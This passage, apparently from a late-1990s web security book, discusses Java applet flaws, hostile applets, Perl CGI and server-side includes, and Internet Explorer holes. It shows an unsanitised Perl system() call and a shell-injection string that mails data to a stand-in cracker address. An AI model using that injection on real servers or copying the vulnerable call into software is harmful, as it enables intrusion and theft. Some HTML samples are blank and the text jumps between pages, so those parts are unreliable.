client users. Also, I am \naware of no instance in which S-HTTP has been cracked, but this may be because the \ncracking communities have not taken as lively an interest in S-HTTP as they have \nNetscape. No one can say for certain. \nHTML in General \nThe problems with Web security that stem from HTML are mainly those that involve the \ntraffic of data. In other words, the main concern is whether information can be \nintercepted over the Internet. Because commerce on the Internet is becoming more \ncommon, these issues will continue to be a matter of public concern. \nAs it currently stands, very few sites actually use secure HTML technology. When was \nthe last time you landed on a page that used this technology? (You can recognize such \npages because the little key in the left corner of Netscape Navigator is solid as opposed to \nbroken.) This, of course, depends partly on what sites you visit on the WWW. If you \nspend your time exclusively at sites that engage in commerce, you are likely to see more \nof this activity. However, even sampling 100 commerce sites, the number of those using \nsecure HTTP technology is small. \nJava and JavaScript \nJava and JavaScript are two entirely different things, but they are often confused by \nnonprogrammers as being one and the same. Here's an explanation of each: \n• \nJavaScript is a scripting language created at Netscape Communications Corporation. It is designed \nfor use inside the Netscape Navigator environment (and other supported browsers). It is not a \ncompiled language, it does not use class libraries, and it is generally nested within HTML. In other \nwords, you can generally see JavaScript source by examining the source code of an HTML \ndocument. The exception to this is when the JavaScript routine is contained within a file and the \nHTML points to that source. Standalone applications cannot be developed with JavaScript, but \nvery complex programs can be constructed that will run within the Netscape Navigator \nenvironment (and other supported browsers). \n• \nJava, developed by Sun Microsystems, is a real, full-fledged, object-oriented, platform-\nindependent, interpreted language. Java code requires a Java interpreter to be present on the target \n" }, { "page_number": 557, "text": " \n \nmachine and its code is not nested. Java can be used to generate completely standalone programs. \nJava is very similar in construct to C++. \nJavaScript is far more easily learned by a non-programmer; it can be learned by almost \nanyone. Moreover, because Netscape Navigator and supported browsers already contain \nan interpreter, JavaScript functions can be seen by a much wider range of users. Java, in \ncontrast, is to some degree dependent on class files and therefore has a greater overhead. \nAlso, Java applications require a real Java runtime environment, a feature that many \nNetizens do not currently possess (users of Lynx, for example). Finally, Java applets take \ninfinitely more memory to run than do JavaScript functions; although, to be fair, badly \nwritten JavaScript functions can recursively soak up memory each time the originating \npage is reloaded. This can sometimes lead to a crash of the browser, even if the \nprogrammer had no malicious intent. \nOf these two languages, Java is far more powerful. In fact, Java is just as powerful as its \ndistant cousin, C++. Whole applications have been written in Java. HotJava, the famous \nbrowser from Sun Microsystems, is one example. Because Java is more powerful, it is \nalso more dangerous from a security standpoint. \nJava \nWhen Java was released, it ran through the Internet like a shockwave. Programmers were \nenthralled by the prospect of a platform-independent language, and with good reason. \nDeveloping cross-platform applications is a complex process that requires a lot of \nexpense. For example, after writing a program in C++ for the Microsoft Windows \nenvironment, a programmer faces a formidable task in porting that application to UNIX. \nSpecial tools have been developed for this process, but the cost of such engines is often \nstaggering, especially for the small outfit. Many of these products cost more than $5,000 \nfor a single user license. Moreover, no matter what conversion vendors may claim about \ntheir products, the porting process is never perfect. How can it be? In anything more than \na trivial application, the inherent differences between X and Windows 95, for example, \nare substantial indeed. Quite frequently, further human hacking must be done to make a \nsmooth transition to the targeted platform. \nWith these factors in mind, Java was a wonderful step forward in the development of \ncross- platform applications. Even more importantly, Java was designed (perhaps not \ninitially, but ultimately) with components specifically for development of platform-\nindependent applications for use on the Internet. From this, we can deduce the following: \nJava was a revolutionary step in Internet-based development (particularly that type of \ndevelopment that incorporates multimedia and living, breathing applications with \nanimation, sound, and graphics). It is unfortunate that Java had such serious security \nflaws. \nI'd like to explain the process of how Java became such a terrific security issue on the \nInternet. This may help you understand the concept of how security holes in one language \ncan affect the entire Net community. \n" }, { "page_number": 558, "text": " \n \nCertain types of languages and encryption routines are composed of libraries and \nfunctions that can be incorporated into other applications. This is a common scenario, \nwell known to anyone who uses C or C++ as a programming language. These libraries \nconsist of files of plain text that contain code that defines particular procedures, constant \nvariables, and other elements that are necessary to perform the desired operation \n(encryption, for example). To include these libraries and functions within his or her \nprogram, the programmer inserts them into the program at compile time. This is generally \ndone with an #include statement, as in \n#include \nAfter these routines have been included into a program, the programmer may call special \nfunctions common to that library. For example, if you include crypt() in your program, \nyou may call the encryption routines common to the crypt library from anywhere within \nthe program. This program is then said to have crypt within it and, therefore, it has \ncryptographic capabilities. \nJava was such the rage that Netscape Communications Corporation included Java within \ncertain versions of its flagship product, Navigator. That means supported versions of \nNetscape Navigator were Java enabled and could respond to Java programming calls \nfrom within a Java applet. Thus, Java applets could directly affect the behavior of \nNavigator. \n \nNOTE: The Java runtime environment incorporated into the code of the Netscape \nNavigator browser (and many other browsers) is standard and totally distinct from the \nJava runtime engine provided with the Java Development Kit (JDK). \n \nBecause Navigator and Internet Explorer are the two most commonly used browsers on \nthe Internet, an entire class of users (on multiple platforms) could potentially be affected \nby Java security problems. Some of those platforms are \n• \nWindows, Windows 95, and Windows NT \n• \nAny supported flavor of UNIX \n• \nMacintosh \nWhat Was All the Fuss About? \nThe majority of earth-shaking news about Java security came from a handful of sources. \nOne source was Princeton University's Department of Computer Science. Drew Dean, \nEdward W. Felten, and Dan S. Wallach were the chief investigators at that location. \nFelten, the lead name on this list, is an Assistant Professor of Computer Science at \nPrinceton University since 1993 and a one-time recipient of the National Young \nInvestigator award (1994). Professor Felten worked closely with Dean and Wallach (both \ncomputer science graduate students at Princeton) on finding holes unique to Java. \nHoles within the Java system are not the Felten team's only claim to fame, either. You \nmay recall a paper discussed earlier in this book on a technique dubbed Web spoofing. \n" }, { "page_number": 559, "text": " \n \nThe Felten team (in conjunction with Dirk Balfanz, also a graduate student) authored that \npaper as well, which details a new method of the man-in-the-middle attack. \nIn any event, weaknesses within the Java language that were identified by this team \ninclude the following: \n• \nDenial-of-service attacks could be effected in two ways: first, by locking certain internal elements \nof the Netscape and HotJava browsers, thereby preventing further host lookups via DNS; second, \nby forcing CPU and RAM overutilization, thus grinding the browser to a halt. Further, the origin \nof such an attack could be obscured because the detrimental effects could be delayed by issuing \nthe instructions as a timed job. Therefore, a cruiser could theoretically land on the offending page \nat noon, but the effect would not surface until hours later. \n• \nDNS attacks could be initiated where the browser's proxies would be knocked out, and the \nsystem's DNS server could be arbitrarily assigned by a malicious Java applet. This means that the \nvictim's DNS queries could be re-routed to a cracked DNS server, which would provide \nmisinformation on hostnames. This could be a very serious problem that could ultimately result in \na root compromise (if the operator of the victim machine were foolish enough to browse the Web \nas root). \n• \nAt least one (and perhaps more) version of Java-enabled browsers could write to a Windows 95 \nfile system. In most all versions, environment variables were easily culled from a Java applet, Java \napplets could snoop data that many feel is private, and information could be gathered about where \nthe target had been. \n• \nFinally, Java suffered from several buffer overflow problems. \nPublic reaction to the findings of the Felten team was not good. This was especially so \nbecause the researchers wrote that they had advised Sun and Netscape of the problems. \nThe two giants responded with a fix, but alas, many of the original problems remained, \nopened by other avenues of attack. \n \nCross Reference: The Felten team's paper, titled \"Java Security: From HotJava to \nNetscape and Beyond,\" can be found on the Web at \nhttp://www.cs.princeton.edu/sip/pub/secure96.html. \n \nJavaSoft (the authoritative online source for Java developments) responded to these \nreports promptly, although that response did not necessarily indicate a solution. In one \nonline advisory, the folks at JavaSoft acknowledge that hostile Java applets have been \nwritten (they even gave a few links) and suggest that work was underway to correct the \nproblems. However, the advice on what to do if such applets are encountered offers users \nvery little sense of security. For example, when confronted by a Java applet that entirely \nblew away your browser, the advice was this: \n...one way to recover from this applet is to kill the browser running on your computer. On a UNIX \nsystem, one way to accomplish this is to remotely log into your computer from another computer \non your local network, use ps to find the process ID that matches the hijacked browser's process \nID, and issue a kill -9 PID. \n \nCross Reference: JavaSoft's advisory can be found at \nhttp://java.javasoft.com/sfaq/denialOfService.html. \n" }, { "page_number": 560, "text": " \n \n \nKilling your browser is hardly a method of recovering from an attack. For all purposes, \nsuch a denial-of-service attack has effectively incapacitated your application. \nIt was determined that users running Java-enabled browsers were posing risks to those \nnetworks protected by firewalls. That is, Java would flow directly through the firewall; if \nthe applet was malicious, firewall security could be breached then and there. Crackers \nnow have lively discussions on the Internet about breaking a firewall in this manner. And, \nbecause Java shares so many attributes with C++ (which may be thought of as a superset \nof C), the programming knowledge required to do so is not foreign terrain to most \ntalented crackers. \nMany proponents of Java loudly proclaimed that such an attack was impossible, a matter \nof conjecture, and knee-jerk, alarmist discussion at best. Those forces were silenced, \nhowever, with the posting of a paper titled \"Blocking Java Applets at the Firewall.\" The \nauthors of this paper demonstrated a method through which a Java applet could cajole a \nfirewall into arbitrarily opening otherwise restricted ports to the applet's host. In other \nwords, an applet so designed could totally circumvent the basic purpose (and \nfunctionality) of the firewall, full stop. Thus, in addition to other weaknesses that Java \nhad already introduced, it was also found to be an ice pick with which to stab through a \nfirewall. \n \nCross Reference: \"Blocking Java Applets at the Firewall,\" by David M. Martin Jr., \nSivaramakrishnan Rajagopalan, and Aviel D. Rubin, can be found on the Web at \nhttp://www.cs.bu.edu/techreports/96-026-java-firewalls.ps.Z. \n \nAlthough many of these matters have been fixed by Sun and JavaSoft, some problems \nstill remain. Further, many individuals are still using older versions of the Java runtime \nand development kits, as well as older versions of Java-enabled browsers. However, in \nfairness, JavaSoft and Sun have resolved many of the problems with this new language. \n \nCross Reference: To get a closer view of JavaSoft and Sun's fixes (by version number), \ncheck out http://www.javasoft.com:80/sfaq/index.html. \n \nFor the average user, hostile Java applets (at least, those produced thus far by the \nacademic community) can produce no more than minor inconveniences, requiring reboot \nof the browser or the machine. However, for those who work in information security, \nJava has an entirely different face. Any unwanted element that can slip through a firewall \nis indeed a threat to security. If you are a system administrator of an internal network that \nprovides partial or full access to the Internet, I advise you to forbid (at least for the \nmoment) the use of browsers that are Java enabled or enforce a policy that users disable \nJava access. \nThe Java controversy teaches us this: The Internet is not secure. Moreover, programming \nlanguages and techniques deemed secure today are almost invariably found to be insecure \ntomorrow. In a recent New Riders book on Internet security (Internet Security: \nProfessional Reference), the authors discuss the wonderful features of Java security \n" }, { "page_number": 561, "text": " \n \n(there is even a section titled \"Java is Secure\"). I am certain that at the time the book was \nwritten, the authors had no idea about the security flaws of Java. So carefully consider \nthis point: Any new technology on the Internet should be viewed with suspicion. It is \nwise to remember that even today, holes are occasionally found in Sendmail, many years \nafter its introduction to the network. \nPerhaps the most threatening element of Java is this: We have not yet seen the cracking \ncommunity work with it. Traditionally, cracking is done using garden-variety tools that \nhave been around for years, including C and Perl. However, it is clear that Java could be \nused in information warfare as a tool to disable machines or otherwise disrupt service. \n \nCross Reference: For an interesting viewpoint on the use of Java in information warfare, \ncheck out Mark D. LaDue's article, \"Java Insecurity,\" scheduled to appear in the Spring \n1997 issue of the Computer Security Institute's Computer Security Journal. The article \ncan be found on the Web at \nhttp://www.math.gatech.edu/~mladue/Java_insecurity.html. \n \nI should point out here that there have been no recorded instances of Java security \nbreaches in the wild. All the attack schemes developed and tested have been cultivated in \neither academic or corporate research environment. Furthermore, for the average user, \nJava security is not a critical issue. Rather, it is within the purview of system \nadministrators and information- security experts that this information is most critical. \nActual dangers to the PC computing communities are discussed later in this chapter when \nI treat Microsoft's ActiveX technology at length. \nTo learn more about Java security, there are a number of papers you must acquire. Many \nof these papers are written by programmers for programmers, so much of the material \nmay seem quite technical. Nevertheless, the average user can still gain much important \ninformation from them. \nJava Security: Weaknesses and Solutions. Jean-Paul Billon, Consultant VIP DYADE. \nThis document is significant because it is one of the latest treatments of the Java security \nproblem. Updates on this document extend into December 1996. This is an invaluable \nresource for programmers as well as the general public. The information contained within \nthis document addresses weaknesses within the runtime system as well as the language \nitself. More importantly, the document gives two practical examples and proposes some \npossible solutions. Excellent. \n• \nhttp://www.dyade.fr/actions/VIP/JS_pap2.html \nLow Level Security in Java. Frank Yellin. This paper is one of the first papers to \naddress Java security. It is an important paper, particularly for programmers and system \nadministrators, because it describes the basic characteristics of the Java language and the \nsecurity considerations behind it. \n• \nhttp://www.javasoft.com/sfaq/verifier.html. \nJava Security. Joseph A. Bank (MIT). This paper is a must-read for anyone who wants \nto learn about Java security. It is a well-written and often easily read analysis of Java and \n" }, { "page_number": 562, "text": " \n \nits security features. Most importantly, the paper takes the reader through stages, making \nit easier for the newcomer to programming to understand the features of Java. \n• \nhttp://www.swiss.ai.mit.edu/~jbank/javapaper/javapaper.html \nSo, you're wondering exactly what Java can do to your machine. First, for some time, \npeople insisted that Java could not in any way access information located on the hard \ndrive of your computer. Security features within the Java language generally forbid this \nfrom happening. However, one independent researcher, Jim Buzbee, was able to develop \nan applet that did access such information. On his Web page (where you can demo the \napplet), Buzbee explains: \nIn most Java implementations, security policy forbids applets from reading the local directory \nstructure. I have discovered that it is possible for an applet, using only Java, to determine if \nspecified files exist on the file system of the client machine. The applet I have prototyped cannot \nread or write to the file, but it can detect its presence. My applet is then free to surreptitiously e-\nmail the result of the file search to any machine on the Internet, for example MarketResearch@ \nmicrosoft.com. \n \nCross Reference: Buzbee's Web page is at \nhttp://www.nyx.net/~jbuzbee/hole.html. \n \nBuzbee's applet is truly extraordinary. It accesses your hard drive and looks for some \ncommonly known (and jealously protected) files. One is the /etc/passwd file. Another is \nMSOffice (a directory on machines using Microsoft Office). For some reason, the applet \nmoves quite slowly. However, it is capable of identifying which files exist on the drive. \n \nCross Reference: If you want to check out the applet for yourself (it does no harm and \nwill not lock your browser), you can access it at \nhttp://www.nyx.net/~jbuzbee/filehole.html. \n \nThe ultimate page for hostile applets is Mark DeLue's. It sports a list of hostile Java \napplets and their source code. Some of the more amusing ones include \n• \nNoisyBear.java--Displays a bear that runs an audio clip. The bear cannot be deleted without \nkilling and rebooting the browser. \n• \nAttackThread.java--Displays large black windows that the user cannot grab or otherwise \ndispose of. This applet requires that you restart the system or the machine. Nasty. \n• \nForger.java--Forges an e-mail message from the victim to a pre-specified target. Very \ninteresting implementation that proves at least that applications can be actively attacked and \nmanipulated. \n \nCross Reference: There are over a dozen more applets at DeLue's page. Check them out \nat http://www.math.gatech.edu/~mladue/SourceCode.html. \n \nI have written mainly about the bad aspects of Java. That is largely because this book \nexamines weaknesses. Now, I would like to write a few words about Java's good points. \n" }, { "page_number": 563, "text": " \n \nIf you have ever engaged in the development of WWW sites, you know how difficult it \nis. In today's environment, the WWW site has to be crisp, clean, and engaging. The days \nof the solid gray background and unjustified text are over. Now, consumers expect \nsomething entertaining. Moreover, functionality is expected to exceed simple quote \ngenerators and auto-response mail. Perl is largely responsible for many of the menial \ntasks involved in data processing on the Web, but Java is by far the most powerful \napplication for developing multimedia Web pages. This, coupled with high-end tools \nsuch as Fusion by NetObjects and FrontPage by Microsoft, can place you at the very edge \nof Web design. \nJava Books, Articles, Papers, and Other Resources \nJava Security: Hostile Applets, Holes, & Antidotes. Gary McGraw and Ed Felten. John \nWiley & Sons. ISBN: 0-471-17842-X. 1996. \nJava Security. Gary McGraw and Edward Felten. SIGS. ISBN: 1-884842-72-0. 1996. \nJava Developer's Guide. Jamie Jaworski and Cary Jardin. Sams.net. ISBN: 1-57521-\n069-X. 1996. \nJava Developer's Reference. Mike Cohn, Michael Morrison, Bryan Morgan, Michael T. \nNygard, Dan Joshi, and Tom Trinko. Sams.net. ISBN: 1-57521-129-7. 1996. \nDeveloping Intranet Applications with Java. Jerry Ablan, William Robert Stanek, \nRogers Cadenhead, and Tim Evans. Sams.net. ISBN: 1-57521-166-1. 1996. \nThe Java Handbook. Patrick Naughton. Osborne/McGraw-Hill. ISBN: 0-07-882199-1. \n1996. \nJust Java, 2nd Edition. Peter van der Linden. Sunsoft Press/Prentice Hall. ISBN: 0-13-\n272303-4. 1996. \nJava in a Nutshell: A Desktop Quick Reference for Java Programmers. David \nFlanagan. O'Reilly & Associates, Inc. ISBN: 1-56592-183-6. 1996. \nThe Java Language Specification. Addison-Wesley. James Gosling, Bill Joy, and Guy \nSteele. ISBN: 0-201-63451-1. 1996. \n\"Java as an Intermediate Language.\" Technical Report, School of Computer Science, \nCarnegie-Mellon University, Number CMU-CS-96-161, August 1996. \n• \nhttp://www.cs.cmu.edu/afs/cs.cmu.edu/project/scandal/public/papers\n/CMU-CS-96-161.ps.Z \n\"Java & HotJava: Waking Up the Web.\" Sean González. PC Magazine. October \n1995. \n• \nhttp://www.zdnet.com/~pcmag/issues/1418/pcm00085.htm \n\"Java: The Inside Story.\" Michael O'Connell. Sunworld Online. Vol. 07. July 1995. \n" }, { "page_number": 564, "text": " \n \n• \nhttp://www.sun.com/sunworldonline/swol-07-1995/swol-07-java.html \n\"Briki: A Flexible Java Compiler.\" Michael Cierniak and Wei Li. TR 621, URCSD, \nMay 1996. \n• \nftp://ftp.cs.rochester.edu/pub/papers/systems/96.tr621.Briki_a_fle\nxible_java_compiler.ps.gz \n\"NetProf: Network-Based High-Level Profiling of Java Bytecode.\" Srinivasan \nParthasarathy, Michael Cierniak, and Wei Li. TR 622, URCSD, May 1996. \n• \nftp://ftp.cs.rochester.edu/pub/papers/systems/96.tr622.NetProf_net\nwork-based_high-level_profiling_of_java_bytecode.ps.g z \nMIME Encapsulation of Aggregate Applet Objects (mapplet). A. Bahreman, J. \nGalvin, and R. Narayanaswamy. \n• \nhttp://src.doc.ic.ac.uk/computing/internet/internet-drafts/draft-\nbahreman-mapplet-spec-00.txt.Z \n\"H-38: Internet Explorer 3.x Vulnerability.\" (CIAC Advisory) March 4, 1997. \n• \nhttp://ciac.llnl.gov/ciac/bulletins/h-38a.shtml \nInternet Java & ActiveX Advisor. Journal. \n• \nhttp://www.advisor.com/ia.htm \nJava Developer's Journal. \n• \nhttp://www.javadevelopersjournal.com/java/ \nJava Report. Journal. \n• \nhttp://www.sigs.com/jro/ \nJavaworld. Journal. \n• \nhttp://www.javaworld.com/ \nGamelan. The ultimate Java archive. \n• \nhttp://www-a.gamelan.com/index.shtml \nPerl \nOccasionally, just occasionally, a product emerges from the Internet that is truly \nmagnificent. Perl is once such product. What started as a small project for Larry Wall \n(Perl's creator) turned into what is likely the most fluid, most easily implemented \nlanguage ever created. \nImagine a programming language that combines some of the very best attributes of \nlanguages such as C, sed, awk, and BASIC. Also, remember that the size of Perl \n" }, { "page_number": 565, "text": " \n \nprograms are a fraction of what compiled C programs consume. Finally, Perl is almost \ntoo good to be true for creating CGI applications for use on the WWW. Manipulation of \ntext in Perl is, I think, unrivaled by any computer language. \nPerl is heavily relied on as a tool for implementing CGI. Like most programming tools, \nPerl does not contain many inherent flaws. However, in inexperienced hands, Perl can \nopen a few security holes of its own. \nPerl and CGI \nCGI is a relatively new phenomenon. It is of significant interest because it offers an \nopportunity for all programmers to migrate to Web programming. Essentially, CGI can \nbe done on any platform using nearly any language. The purpose of CGI is to provide \ndynamically built documents and processes to exist on the World Wide Web. \nDynamic here means that the result will vary depending on user input. The result--usually \na newly formed Web page--is generated during the CGI process. The easiest way for you \nto understand this is to examine a Perl script in action. Imagine a Web page with a single \nform, like the one in Figure 30.4. \nFIGURE 30.4. \nThe SAMS CGI sample page. \nThe page in Figure 30.4 has a single input field named editbox, which you can see \nwithin the following HTML source code: \n \n \nSAMS CGI Example \n \n \n

\n

The Anatomy of a CGI Program

\n

\n

\n
\n

\n
\n \n \nWithin that code, the form that holds editbox also points to a script program on the hard \ndrive. That script, called getit.cgi, appears in bold in the following HTML code: \n \n \nSAMS CGI Example \n \n \n

\n

The Anatomy of a CGI Program

\n

\n

\n
\n" }, { "page_number": 566, "text": " \n \n

\n
\n \n \nSo editbox refers to the input box on the form; you assign this name to the box so that \nlater, when you need to, you can refer to the box (and its contents) as a variable. You \nknow from the preceding code that the contents of editbox will be sent to a Perl script \ncalled getit.cgi. \ngetit.cgi is a very simple Perl script. Its function is to take the input in editbox, delete \nfrom it various codes and strange characters common to HTML, and print the input of \neditbox on a clean page. The code is as follows: \n# Print out a content-type for HTTP/1.0 compatibility \nprint \"Content-type: text/html\\n\\n\"; \n \n# Get the input from the test HTML form \nread(STDIN, $buffer, $ENV{`CONTENT_LENGTH'}); \n \n# Split the name-value pairs \n@pairs = split(/&/, $buffer); \n \nforeach $pair (@pairs) \n{ \n ($name, $value) = split(/=/, $pair); \n \n # Un-Webify plus signs and %-encoding \n $value =~ tr/+/ /; \n $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack(\"C\", hex($1))/eg; \n \n $FORM{$name} = $value; \n} \n \nprint \"$FORM{`editbox'}\\n\"; \nprint \"$FORM{`editbox'}\\n\"; \nOf these lines of code, we are concerned only with the last line. What this line means is \n\"Print an entirely new Web page in HTML, and on that page, print the exact same word \nor words that the user entered into editbox.\" In this manner, variables are extracted from \nan HTML page and run through a Perl script. Naturally, after the variables are extracted, \nthey may be worked over by the programmer in whatever manner the he or she chooses. \nFor example, if the variables consist of numbers, the programmer could use Perl to, say, \nadd, multiply, or divide those numbers. After the variables have been extracted, the \nprogrammer can do almost anything with them. The resulting page will be different \ndepending on what the user enters into editbox. If the user enters the name George, the \nresulting page prints George. If the user enters the string CGI Security, the resulting \npage prints CGI Security. (You get the idea.) \nDuring that process, something very important occurs. After the user enters text into \neditbox and presses Enter, the text is sent to getit.cgi. getit.cgi calls the Perl \ninterpreter on the server's hard drive. The Perl interpreter evaluates getit.cgi and then \nautomatically executes it. \n" }, { "page_number": 567, "text": " \n \nHere is where CGI security (or insecurity) begins. When a form is processed in this \nmanner, the Perl interpreter is running. There is no human intervention in this process. If \nthe Perl script (in this case, getit.cgi) is written without thought of security, strange \nand terrible things may happen. There are certain pitfalls of CGI programming; these \npitfalls can open up the entire power and scope of the Perl language (or shell) to the \nvisiting cracker. \nThe System Call \nSystem calls are one common source of break-ins. A system call is any operation in Perl \n(or any language) that calls another program to do some work. This other program is \nmost often a commonly used command that is part of the operating system or shell. \nSystem calls are generally evoked through the use of the function system(). C \nprogrammers who work with the Microsoft platform (whom I am especially targeting \nhere) will recognize this call because in order to use these calls, they may have to include \nthe dos.h (and perhaps even the process.h) file in their compiled program. For those \nprogrammers migrating from a Microsoft platform (who may be new to Perl), this point \nin very important: In Perl, a system call does not require includes or requires. It can be \ndone simply by issuing the call. If the call is issued and no prior check has been made on \nuser input, security issues arise. Issuing a system call in Perl works like this: \nsystem(\"grep $user_input /home/programmer/my_database\"); \n \nNOTE: This system call prompts grep to search the file my_database for any matches \nof the user's input string $user_input. Programs that include work like this are cheap \nways of avoiding purchasing a proprietary CGI-to-database license. Thousands of sites \nuse this method to search flat-file database files or even directories. \n \nSystem calls of this nature are dangerous because one can never anticipate what the user \nwill enter. True, the majority of users will input some string that is appropriate (or if not \nappropriate, one that they think is appropriate). However, crackers work differently. To a \ncracker, the main issue is whether your CGI has been written cleanly. To determine \nwhether it has, the cracker will input a series of strings designed to test your CGI security \ntechnique. \nSuppose you actually had the preceding system call in your CGI program. Suppose \nfurther that you provided no mechanism to examine the character strings received from \nSTDIN. In this situation, the cracker could easily pass commands to the shell by adding \ncertain metacharacters to his or her string. \nAlmost all shell environments (MS-DOS's command.com included) and most languages \nprovide for execution of sequential commands. In most environments, this is \naccomplished by placing commands one after another, separated by a metacharacter. A \nmetacharacter might be a pipe symbol (|) or semicolon (;). In addition, many \nenvironments allow conditional command execution by placing commands one after \nanother, separated by special metacharacters. (An example is where execution hinges on \nthe success or failure of the preceding command. This style works along the lines of \"If \n" }, { "page_number": 568, "text": " \n \ncommand number one fails, execute command number two\" or even \"If command \nnumber one is successful, forget command number two.\") \nIf your CGI is written poorly (for example, you fail to include a mechanism to examine \neach submitted string), a cracker can push additional commands onto the argument list. \nFor example, the classic string cited is this: \nuser_string;mail bozo@cracking.com \nThe contents of the file mybanner.html might look something like this: \n
\nIn reality, you wouldn't bother using an SSI for this because mybanner.html is even less \ncomplex than the SSI call that includes it. But, what if your mybanner.html looked like \nthis: \n \n \nÂ\"Picture\" \n \n \n \n \n \n \n \n

SAMS Security \nInfoBase \n \nIn such an instance, you might be inclined to use an SSI. Again, I say don't do it. Here is \nwhy: SSI can also be used to execute commands. These could be system commands, \n (Get the date) \nor they could be shell scripts. One good way to completely destroy your system in a hurry \nis to run the httpd server root and allow SSIs. This effectively gives a cracker the option \nof deleting all your files, stealing your password files, and so forth. Take a look at Figure \n30.5 to see how normal CGI works. \nFIGURE 30.5. \nThe normal CGI process. \nUnder normal circumstances, the user's input is submitted to an HTML input form. From \nthere, the request is passed to the server and then directly to some CGI program (usually \n" }, { "page_number": 571, "text": " \n \na Perl program) that immediately processes the data. Here, you have only to worry about \nwhether your CGI is secure. Now examine Figure 30.6. \nFIGURE 30.6. \nCGI process preceded by SSI. \nWhen SSI is active, the process is different. The client's input is forwarded to and parsed \nby the server. Part of that parsing process is to identify SSI directives. If exec directives \nexist (those that call other processes), they are executed. \nEssentially, SSI is probably not worth the risk. I know what you are thinking: You want \nto use SSIs because the information within the include files changes dynamically. For \nexample, perhaps you are manipulating banners that are custom made depending on when \na user visits. Perhaps these banners are updated based on state information on the user, \nsuch as browser type, frame preferences, and so on. Perhaps cookies are not enough for \nthis purpose, and you want your pages to look beautiful and intelligent in their ability to \nremember the user's vital data. My answer: There are other ways to do it. \nOne way is to run internal scripts that update this information. Using a combination of \nPerl and at or cron (two utilities that can time jobs), you can fashion prefab headers and \nfooters that change as information elsewhere changes. Another way to do it is to write a \nprogram (perhaps in awk or Perl) that can perform this activity on demand, interactively. \nThis way, you can manage the header/footer combination at certain times of the day and \ndo so interactively to watch for unexpected problems. \nBasically, if you are an administrator and you do not have a complete understanding of \nhow SSI works, do not use it (at least until you have learned how). \n \nCAUTION: This advisory is not simply for UNIX system administrators! Many Web-\nserver packages support server-side includes. For example, the NetWare Web Server \nsupports a wide range of SSI commands and directives. This option can be set with the \nadministration facility. \n \nMicrosoft Internet Explorer \nSo many holes have been found in Microsoft Internet Explorer that one scarcely knows \nwhere to start. However, I want to run through them quickly. You may wonder why I \nhave waited until this chapter to address Internet Explorer. My reasoning is largely based \non the fact that some of the holes in Internet Explorer are related to ActiveX technology. \nSome explanation is in order here; if I omit such explanation, I will be charged by \nMicrosoft with false reporting. The corporation is in an extremely defensive position \nthese days, and not without reason. Here, then, is the mitigating information: \nMicrosoft is well known for its ability to create attractive, eye-pleasing applications. \nMoreover, such products are designed for easy use to allow even the most intimidated \nindividual to grasp the basic concepts within a few hours. In this respect, Microsoft has \nevolved much in the same way as Apple Computer. Consider, for example, the incredible \n" }, { "page_number": 572, "text": " \n \nstandardization of design that is imposed on products for use in the Microsoft \nenvironment. \nIn the Microsoft world, menus must be at least somewhat consistent with general \nWindows design. Thus, almost any application designed for Microsoft Windows will \nhave a list of menus that runs across the top of the program. Three menu choices that you \nwill invariably see are File, Edit, and Help (other menu choices that are still very popular \nbut appear less frequently include View, Tools, Format, and so forth). By designing \napplications that sport such menus, Microsoft ensures that the learning curve on those \napplications is minimal. In other words, if you know one Microsoft program, you pretty \nmuch know them all. (This is similar to the way every application melts its menus into \nthe bar at the top of the MacOS desktop.) \nMicrosoft has thus created its own standards in a market that previously adhered to few \nrules. In this respect, Microsoft has revolutionized the PC computing world. Furthermore, \nbecause Microsoft products are so popular worldwide, programmers rush to complete \napplications for use on the Microsoft platform. Along that journey, programmers must \nstrictly adhere to design standards set forth by Microsoft--well they must if they seek that \napproval sticker on the box. If the U.S. Attorney General is looking for an antitrust issue, \nshe might find one here. \nMoreover, Microsoft has put much effort into application integration and interoperability. \nThat means an Excel spreadsheet will seamlessly drop into a Word document, an Access \ndatabase will interface effortlessly with a Visual Basic program, and so on. All Microsoft \nproducts work in an integrated fashion. \nTo perform such magic, Microsoft designed its products with components that meet \ncertain criteria. Each of these applications contain building blocks that are recognizable \nby the remaining applications. Each can call its sister applications through a language that \nis common to them all. This system gives the user an enormous amount of power. For \nexample, one need not leave an application to include disparate types of media or \ninformation. This design increases productivity and provides for a more fluid, enjoyable \nexperience. Unfortunately, however, it also makes for poor security. \nInternet Explorer was designed with this interoperability in mind. For example, Internet \nExplorer was, at the outset, more integrated with the Windows operating system than, \nsay, Netscape's Navigator. Mr. Gates undoubtedly envisioned a browser that would bring \nthe Internet to the user's desktop in the same manner as it would a local application. In \nother words, Internet Explorer was designed to bring the Internet to the user in a form \nthat was easy to understand, navigate, and control. To its credit, Microsoft's merry band \nof programmers did just that. The problem with Microsoft's Internet Explorer, then, is \nthat it fulfills its purpose to the extreme. \nIn a period of less than two weeks in early 1997, Internet Explorer was discovered to \nhave three serious security bugs: \n• \nStudents at a university in Maryland found that they could embed an icon on a Web page that \nwould launch programs on the client user's computer. Microsoft posted a public advisory on this \nissue on its WWW site. In it, the company explained: \n" }, { "page_number": 573, "text": " \n \nIf a hacker took advantage of this security problem, you could see an icon, or a graphic in a Web \npage, which is, in fact, within a regular Windows 95/Windows NT 4.0 folder of the Web site \nserver or your computer. The hacker could shrink the frame around the icon or graphic so that you \nwould think it was a harmless, when in fact it allows you or anyone else to open, copy, or delete \nthe file, or run a program that could, if the author has malicious intent, damage your computer. \nYou can launch the program because the folder bypasses the Internet Explorer security \nmechanism. \n \nCross Reference: Microsoft's public advisory, Update on Internet Explorer Security \nissues UMD Security Problem, can be found on the Web at \nhttp://www.microsoft.com/ie/security/umd.htm. \n \n• \nSeveral sources determined that one could launch programs on the client's machine by pointing to \neither a URL or an LNK file. \n• \nFolks at A.L. Digital, a London-based firm, determined that Microsoft's Internet Explorer \ncontained a bug that would allow a malicious Java applet to steal, corrupt, or otherwise alter files \non the client's machine. \nEach of these holes is Class A in character--that is, they allow a remote site to access or \notherwise manipulate the client's environment. The risk represented here is tremendous. \nTo its credit, Microsoft responded quickly to each instance. For example, the second hole \nwas acknowledged within hours of its discovery. The authors of that advisory did not \nmince words: \n...this problem concerns the ability of a programmer to write code in a Web page that uses Internet \nExplorer 3.x versions to access a Web page hyperlink that points to a .LNK (a Windows shortcut \nfile) or .URL file. Pointing to that .LNK or .URL could launch a program or an executable that \ncould cause damage to a computer. \n \nCross Reference: Microsoft's advisory about the second hole, \"`Cybersnot' Security \nProblem,\" can be found on the Web at \nhttp://www.microsoft.com/ie/security/cybersnot.htm. \n \nThe fix for that problem was also posted. If this is the first you have heard of this 